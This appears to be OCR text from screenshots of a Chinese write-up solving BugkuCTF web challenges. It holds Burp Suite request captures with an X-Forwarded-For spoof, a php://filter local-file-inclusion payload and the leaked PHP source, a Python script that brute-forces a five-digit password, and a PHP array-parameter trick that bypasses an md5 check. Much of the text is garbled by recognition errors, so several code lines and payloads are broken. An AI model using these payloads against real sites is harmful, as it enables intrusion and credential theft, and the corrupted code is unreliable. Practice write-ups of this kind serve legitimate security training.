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Burp Intruder Repeater Window Help

Target | Prosy Spider | Scanner T Intruder T Repeater T Sequencer I Decoder T Comparer T Extender T Project option.

Int: | HTTP history TWehSDckets history I Options }
— ‘ Fitter: Hiding CSS, image and general binary content
L msaE (O aEsas
# ‘ Host 4 | Method URL | Params. ‘ Edited ‘ Status
1 hitp:/i123.206.87.240:9009 GET J/hd php O O 200
2 hitps://download.api bsb. baidu. POST idownloads?ver=2 28key=ffD7Y9anVs. [ [}
3 hitps:/fincoming.telemetry. mozill POST isubmit/telemetry/fcad9ar4-b44i-451e-... £ [}
Hathias.
@ OO=E=% ale
+
7(\ J7  <html> [evene
< > =)</ >
Request | Response
<pre>(=)</pre>
Raw | Headers | Hex | HTML | Render ] </body>
</html>
Name Value
HTTRM.1 200 0K
Server nginx
Date Fri, 18 Oct 2018 01:48:40 GMT
Content-Type text/html
Cennection close
flag{Bugku_k&_23s_istra}
Content-Length 139
2
2 [ B |2 htel > body
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Burp Intruder Repeater Window Help

i— Burp Suite Free Edition v1.7.27 - Temporary Project

Target | Froxy | Spider | Scanner T Intruder T Repeater T Seguencer T Decoder T Comparer T Extender T Project options T User options | Alerts

J intercept T HTTP history IWebSnckﬂs history T Options. ]

t S (Htest123 HERTIZAE N Y. S AIK S Jyadmin, 4 utest123 5248 m AL

D » 1 @

# | Request to http://123.206.31.85:1003

l Forward J { Drop

J [ Intercept is on ] Action
£ | Raw | Params | Headers | Hex

Referer
Content Type

Hame | Value
£ S5 post HTTPA .1
Host 123.206.31.85:1003
+ B | User-Agent Mozila/5.0 (Windows NT 10.0; Win&4; x84; rv:62.0) Gecko/20100101 Firefox/62.0
Accept text/himl, il l, licati 94*q=08
),9\ =M Accept-Language zh-CN,zh;g=0.8,zh-TW,g=0.7 zh-HK;g=0.5,en-US;q=0.3,en;g=0.2
Accept-Enceding gzip, deflate

htp:/123.206.31.85:1003/
applicationic-w vw-form-urlencoded

Add

;

Remove

!

u

:

Down

i

[ #ahhe

. Content-Length 23
00 B connection close
Upgrade-insecure-Reguests 1
X-Forwarded-For 127.0.01
user=adminipass=test123 "
r
b
v
? B + > | | Type & search term 0 maiches

SBREK X baidu.com/link?uri=fKgdsON
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BN Jr & 2flag.

L ¢ @ © 123.206.87.240:8002/webd c @ @ tool.oschina.net/encode?type=4 B2 e 1y In @
o gminE ExEsss @ FEre DsAmn [rsss o BawE B Esss @ FErE Ooses s

BERE?
Y]

KEY{J22]K-HS11}

R misitia

Native/Unicode Native/UTF-8 Native/ASCIl URLERS

Url: REEE:

function checkSubmit(}var a=document.getElementByld("password"); 1) encodeUR] %66%75%6e%63%74%69%6/%62%20%63%68%6E
if{"undefined"=typeof %53%75%62%6d%69%T74%28%29%Tb% 76%61%7.
a)fif("67d709b2b54aa2aab4BcHe8TaT 114f1"==a value)raturn!0; @® encodeURIComponent | g, 349: 619, 6% 63%75%6d%65% 66 % T4 %26 % BT%EE
alert("Error”):afocus(); URLEES » %6c%65%6d%65%6e% 74%42%79%49%64%28%2
return!1}jdocument. getElementByld("levelQuest”).onsubmit=checkSub Y T3%TI%T7%6f% 72964 %22%29% 3b%69%66%2E
mit; < URLEES %6e%64%65%66%69%6e%65%64%22%21%3d% 7.

%65%6f066%20%61%29%Th%69%66%26%22% 3¢
%37%30%39%62%32%62%35%34%61%61%32%6
% 34%36%63%66%36%65%38%37%61%37%31%3
%31%22%3d%3d%61%2e % 76%61%6c% 715 %E5%2
YT4%T5%72%62%21%30%3b%61%6c%65% 72%T:
%45%72%72%6f% 12%22%29%3b%61%2e %66 %6
%29%3b%72%65% T4% T8 % T2%6e%21%31% Td%T
%63%75%6d%65%6e% 74 %2e %67 %E5% 74%45%6
%65%6e% 74 %42%79%49%64%26%22 %6 %65%T
%51%75%65%73%74%22%29%2e %bf%6e% 73%7E
%69%74%3d%63%68%65%63%6b%53%75%62%6
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T A I A2 php:/filteris: ST ) 8

1 H php:/filter/read=convert.base64-encode/resource=index.php

3 T INEIE . Gidbaseb4fif i 5 k) Flindex.php 1 S 2
JijiF) 5= Flflag .

BugkuCTF - & : ROl Bugku-ctf Pl B8] bosess 98 EEES X | @ BASEGAINEAEE

L ¢ o @ 123.206.87.240:8005/post/findex.php?file=phps/filter/read=convert.base64 -encode/resource=index.php B o 1y IN@D » 0 & =

& 2gnE DodEsEs @ FEre eams [ sres [ aEHsE

PGhObWw+DQogICAgPHRpdGxIPk)1Z2t1 LWNOZjwvdGl0ObGU+DQoglCAgDQo8P3BocAOKCWYycmIyX3JlcGydGluZygwKTsNCglpZighJFSHRVRbZmIsZVO0pe2VjaGBglzxhlGhyZW!

BugkuCTF - £ : X X base64 KERB_EEIEE Pl BASESHIIERE b+ -
¢ o D @ https://baseb4.supfreenat BE e 1Y INBD & 0 @ =
1 28i5E JANERSS @ HELE sar [6 srs [ eaiiEpes
B3 Firefox BRIE TIERIEEES 1 2800, FE(Q) X
DNSERSRE FREHE -

EHEINEEEEAESSIRIL T KR
<?php 2

error_reporting(0);

if(!$_GET[file]){echo '<a href="./index.php?file=show.php">dick me? no</a>";}

$file=$_GET['file'];

if(strstr($file,”../")||stristr($file, "tp")||stristr($file,"input™)||stristr($file,"data™)){
echo "Oh no!";
exit();

K

include(%file);

/{flag:flag{edulcni_elif_laceol_si_siht}
> v
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A AT R
XS pythonf) = FF gt a8, ¥ 5 & encode % i s T TR A% 1 7 FF g% 20, 2R )5 il 1t decode s # Fiiutf-84% 2.

Recycle Bin  Wireshark....

[ 1]

l]! y File Edit Format Run Options Window Help

! fusr/bin/env python
Hooding=utf-8

= re
. requests
y 5 5¥8
- reload (sys)
R p s i ays. setda‘f{,aultencﬂmng Cutf-8") \
header Content-Type’ :’ charset=utf-8 E‘I‘I‘Dl‘!

1 = "htt 123. 206. 87. 240: BO0Z/b Pyes’ | R
ur /S fbaopof Tyes error!

1 range (1, 10):
b in range(0, 10):
for ¢ in range(0, 10}
for d in range(0, 10}

or e in range(0, 10)
rumber = int (str{a)+str (b)+str (o)+etr (d)+str (s] )
data={
;i “pwd’: str (number)

response = requests.post(url, data, header):
html = response, text. encode (© 150-80859-17 ), decode (C utf-87)
pattern = W BB EW. EEHHEA
re. findall (pattern, html):
_ print str(number)+"is error!”
" print str{mmber)+‘is ok!” s error!
2
gt error!
r!
error!
error!

PRI S B2 RY: “135797, FEEEFflagfi “flag{bugku-baopo-hah}’
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RecycleBin V| c @ ® 123.206.87.240:9001 /test, INEBD & &b @
# BewE Doalesss @ #Frs Dsmmn B sres [ aiEss

Goal: 6/1000000

G Oz H=Efs DES (leegs Cuws 4rE ZRE S &

i e
+ & + B #B wEE wm
<!DOCTYPE htmL> ) '

<html> [event

" style="width: 375px; height: 375px;"> |event

var clicks=8 $(function() { $("#cookie") .mousedown(function() {
$(this).width("358px").height({"358px"); }) .mouseup(function() {
$(this).width('375px").height ("375px"); clicks++; $("#clickcount™).text(clicks);
if{clicks >= 1008008){ var form = ${'<form action="" method="post">" + "<input
type="text" name="clicks"™ walue=""' + clicks + '" hidden/>' + "</form>');
$("body" )}.append(form); form.submit(); } }); });

body » script

TS, KIlclicksZ 4. H i@ consolelit (H & Fflag.

=E—BAR

<« C @ @ 123.206.87.240:9001 /test o s» b @ =
#28nE Hodlssus @ Hxtk SRR D) =5 D EsERE

Goal: 0/1000000

flag {Not_COOKI3Cl1ck3r}
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[ilindex.php.bak, T~ #J5 &= RIS, KL —IEmdSHI .

j index.php.bak - Notepad

File Edit Format View Help
\<?php

"Hcﬁ

* Created by PhpStorm.
* User: Norse

* Date: 2017/8/6

* Time: 20:22

*

include_once "flag.php”;

ini_set("display errors", 0);

$str = strstr($_SERVER['REQUEST_URIT, '?%;
$str = substr($str,1);

$str = str_replace(key'," $str);
parse_str($str);

echo md5($key1);

echo mds5($key2);

if(md5(Skey1) == md5($key2) && Skeyl == Skey2){
echo $flag."Bigflag”;

}

7>

AL SE, A B CfEE 17— web iR 55827127 -

123.206.87.240:8002/ web 16/ [E 127.00.1/dashboard/100.php7 X e

Fill Ed Vi N Cod Ref: R Tools VCS Wind o
s el o WA s st W) il M e il (PR I - ® 127.0.0.1/dashboard/100 phplkkeyey10=1238 B e Y v IND ® b @

dashboard ) j,; 100.php )
: 4 E2nE Eyamesuws @ FErs Dsman B ssms [ memils

sho Index.php s 2018.php stn phpinfo.php s 1-php ‘

T
E <7phy
=l 1 I: :I““d o ke ‘Warning: include_once(flag.php): failed to open stream: No such file or directory in F:\XAMPP\htdocs'\dashboard'\100.php on line 9
"
g 2 = ‘Warning: include once(): Failed opening 'flag php’ for inclusion (include path="F:'XAMPP'php'PEAR) in F:\XAMPP\htdocs\dashboard
@ include_once "flag php™: \100 pl:lp nlina 0
2 ini_set( varname: "display_erzors”, newvalue: 0); "kke:ye'y1|:|=123&kke’vey2[|=321
g 1 §str = strser(3_SERVER[' REQUEST_URI'], needie "7'); H(eyeyl[]=123&kke}'éw'2ﬂ=321
t"‘:‘ 12 echo $str. "chxy”; ke'yl[]=l23&ke'y2[|=32-l
4|13 $str = substr(§stz, start 1); key1[J=123&key2[}=321
14 echo §str. "hzd";
§str = stx_zeplace( search: "key', replace: '’ §st1); E‘Ri%ﬂag

echo Jstr "hzi";
parse_stri}str);

echo Jstr "¢bxy":

echo md5(3keyl) * <br’ .

21 echo wd5(flkey?) :
22 if (wd5(fkeyl) = wmd5($key?) & $keyl != $keyd) {
23 echo §flag "HAfFflag”;

¥ 2: Favorites

o

: TODO Terminal

(]

RIS Hskeyd JERL 122, PrUAA T 248 i key1 Mlkey2, FF|flagffi.

BugkuCTF - = S 123.206.87.240:8002/web16/ bt 127.0.0.1/dashboard/100.php

<« c @ @ 123.206.87.240:8002 fweb 1 6/index.php?kkeyey 1 [|=abcikkeyey2[|=edf B e Y ¥y ND st @
@ Eoalesks @ FErk e [Bsuwss O saisss
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